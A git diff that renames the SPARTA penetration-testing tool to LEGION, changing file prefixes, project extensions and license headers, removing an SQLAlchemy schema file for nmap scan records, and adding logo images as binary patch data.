tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes os.makedirs(self.outputfolder+'/screenshots') # to store screenshots os.makedirs(self.runningfolder+'/nmap') # to store nmap output os.makedirs(self.runningfolder+'/hydra') # to store hydra output - self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name print(tf.name) self.db = Database(self.projectname) @@ -125,15 +125,15 @@ def openExistingProject(self, filename): self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later self.projectname = str(filename) # set the new projectname and outputfolder vars - if not str(filename).endswith('.sprt'): + if not str(filename).endswith('.ldb'): self.outputfolder = str(filename)+'-tool-output' # use the same name as the file for the folder (without the extension) else: self.outputfolder = str(filename)[:-5]+'-tool-output' - self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords - self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-") # to store tool output of running processes + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-") # to store tool output of running processes self.db = Database(self.projectname) # use the new db self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title @@ -145,10 +145,10 @@ def openExistingProject(self, filename): # if the replace flag is set to 1, it overwrites the destination file and folder def saveProjectAs(self, filename, replace=0): try: - # the folder name must be : filename-tool-output (without the .sprt extension) - if not str(filename).endswith('.sprt'): + # the folder name must be : filename-tool-output (without the .ldb extension) + if not str(filename).endswith('.ldb'): foldername = str(filename)+'-tool-output' - filename = str(filename) + '.sprt' + filename = str(filename) + '.ldb' else: foldername = filename[:-5]+'-tool-output' @@ -169,8 +169,8 @@ def saveProjectAs(self, filename, replace=0): self.projectname = str(filename) self.outputfolder = str(foldername) - self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.istemp = False # indicate that file is NOT temporary anymore and should NOT be deleted later return True diff --git a/app/processmodels.py b/app/processmodels.py index a6e75c12..6a04f4c9 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/app/scriptmodels.py b/app/scriptmodels.py index e4eb03a8..b65ab924 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/app/servicemodels.py b/app/servicemodels.py index 5c62c831..661b2132 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/app/settings.py b/app/settings.py index f7e08e47..8003d42c 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/controller/controller.py b/controller/controller.py index a077d289..a6467d76 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/db/database.py b/db/database.py index d06da605..d24c2be6 100644 --- a/db/database.py +++ b/db/database.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) +LEGION 0.1.0 (https://govanguard.io) +Copyright (c) 2018 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. @@ -11,9 +11,6 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -#from elixir import metadata, Entity, Field -#from elixir import create_all, setup_all, session -#from elixir import Unicode, UnicodeText from PyQt4.QtCore import QSemaphore import time diff --git a/db/tables.py b/db/tables.py deleted file mode 100644 index 4e3cf835..00000000 --- a/db/tables.py +++ /dev/null @@ -1,196 +0,0 @@ -#!/usr/bin/env python - -''' -SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) -Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) - - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' - -from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func -from sqlalchemy.orm import relationship, backref -from sqlalchemy.ext.declarative import declarative_base -from six import u as unicode - -Base = declarative_base() - -class process(Base): - __tablename__ = 'process' - pid = Column(String, primary_key=True) - display=Column(String) - name=Column(String) - tabtitle=Column(String) - hostip=Column(String) - port=Column(String) - protocol=Column(String) - command=Column(String) - starttime=Column(String) - endtime=Column(String) - outputfile=Column(String) - output=relationship("process_output", uselist=False, backref="process") - status=Column(String) - closed=Column(String) - - def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): - self.display='True' - self.pid=pid - self.name=name - self.tabtitle=tabtitle - self.hostip=hostip - self.port=port - self.protocol=protocol - self.command=command - self.starttime=starttime - self.endtime=endtime - self.outputfile=outputfile - self.output=processOutputId - self.status=status - self.closed='False' - -class process_output(Base): - __tablename__ = 'process_output' - output=Column(String, primary_key=True) - process=Column(Integer, ForeignKey('process.pid')) - - def __init__(self): - self.output=unicode('') - -# This class holds various info about an nmap scan -class nmap_session(Base): - __tablename__ = 'nmap_session' - filename=Column(String, primary_key=True) - start_time=Column(String) - finish_time=Column(String) - nmap_version=Column(String) - scan_args=Column(String) - total_hosts=Column(String) - up_hosts=Column(String) - down_hosts=Column(String) - - def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): - self.filename=filename - self.start_time=start_time - self.finish_time=finish_time - self.nmap_version=nmap_version - self.scan_args=scan_args - self.total_hosts=total_hosts - self.up_hosts=up_hosts - self.down_hosts=down_hosts - - -class nmap_os(Base): - __tablename__ = 'nmap_os' - name=Column(String, primary_key=True) - family=Column(String) - generation=Column(String) - os_type=Column(String) - vendor=Column(String) - accuracy=Column(String) - host=Column(String, ForeignKey('nmap_host.hostname')) - - def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): - self.name=name - self.family=family - self.generation=generation - self.os_type=os_type - self.vendor=vendor - self.accuracy=accuracy - self.host=hostId - -class nmap_port(Base): - __tablename__ = 'nmap_port' - port_id=Column(String, primary_key=True) - protocol=Column(String) - state=Column(String) - host=Column(String, ForeignKey('nmap_host.hostname')) - service=Column(String, ForeignKey('nmap_service.name')) - script=Column(String, ForeignKey('nmap_script.script_id')) - - def __init__(self, port_id, protocol, state, host, service=''): - self.port_id=port_id - self.protocol=protocol - self.state=state - self.host=host - self.service=service - -class nmap_service(Base): - __tablename__ = 'nmap_service' - name=Column(String, primary_key=True) - product=Column(String) - version=Column(String) - extrainfo=Column(String) - fingerprint=Column(String) - port=Column(String, ForeignKey('nmap_port.port_id')) - - def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): - self.name=name - self.product=product - self.version=version - self.extrainfo=extrainfo - self.fingerprint=fingerprint - -class nmap_script(Base): - __tablename__ = 'nmap_script' - script_id=Column(String, primary_key=True) - output=Column(String) - port=Column(String, ForeignKey('nmap_port.port_id')) - host=Column(String, ForeignKey('nmap_host.hostname')) - - def __init__(self, script_id, output, portId, hostId): - self.script_id=script_id - self.output=unicode(output) - self.port=portId - self.host=hostId - -class nmap_host(Base): - __tablename__ = 'nmap_host' - checked=Column(String) - os_match=Column(String) - os_accuracy=Column(String) - ip=Column(String) - ipv4=Column(String) - ipv6=Column(String) - macaddr=Column(String) - status=Column(String) - hostname=Column(String, primary_key=True) - vendor=Column(String) - uptime=Column(String) - lastboot=Column(String) - distance=Column(String) - state=Column(String) - count=Column(String) - - # host relationships - os=Column(String, ForeignKey('nmap_os.name')) - ports=Column(String, ForeignKey('nmap_port.port_id')) - - def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): - self.checked='False' - self.os_match=os_match - self.os_accuracy=os_accuracy - self.ip=ip - self.ipv4=ipv4 - self.ipv6=ipv6 - self.macaddr=macaddr - self.status=status - self.hostname=hostname - self.vendor=vendor - self.uptime=uptime - self.lastboot=lastboot - self.distance=distance - self.state=state - self.count=count - - -class note(Base): - __tablename__ = 'note' - host=Column(String, ForeignKey('nmap_host.hostname')) - text=Column(String, primary_key=True) - - def __init__(self, hostId, text): - self.text=unicode(text) - self.host=hostId diff --git a/images/icons/logo.png b/images/icons/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..0d6e7e1caaef223582f1fd0f779d1beb13e674ac GIT binary patch literal 678 zcmV;X0$KfuP)Px#1ZP1_K>z@;j|==^1poj522e~?MF0Q*|NsA`*`M72000SaNLh0L03C(^03C(_ zU7{0#0006hNkl541i(K@{F9x;RPP64QFiYGBR@+ZiOAV1(v{&fh-sR zpTI`9-|UhTSykbz+<6U00Y@VvJfo*fZyS@@K~safpQwi z7eLs7mZ~9o0}!Hu7btZ`h#u3i0|X5(JVC+Z>Xpt7>QPSx z{ujbjIXZnz#JKp7NLzfLF& zp?quOwG0Z$3lhVfKISJP!xeu`;P>B8_>{wemH{7Mpbp>+_yKN$Wc-Aqjxi*|!#Sa4 z#OoQKkc^P-x$BYn8H*bk z;{_u_f!iVWStq1Es{+46)?>=@4+T{ZAzSDbykPz*qaK1!ZvO`2e{fa)qDZi=ivR!s M07*qoM6N<$f{U*iYybcN literal 0 HcmV?d00001 diff --git a/images/icons/logo_big.png b/images/icons/logo_big.png new file mode 100644 index 0000000000000000000000000000000000000000..c0444c4972a4354e07bd39ab334da2f8a898bb5c GIT binary patch literal 33595 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 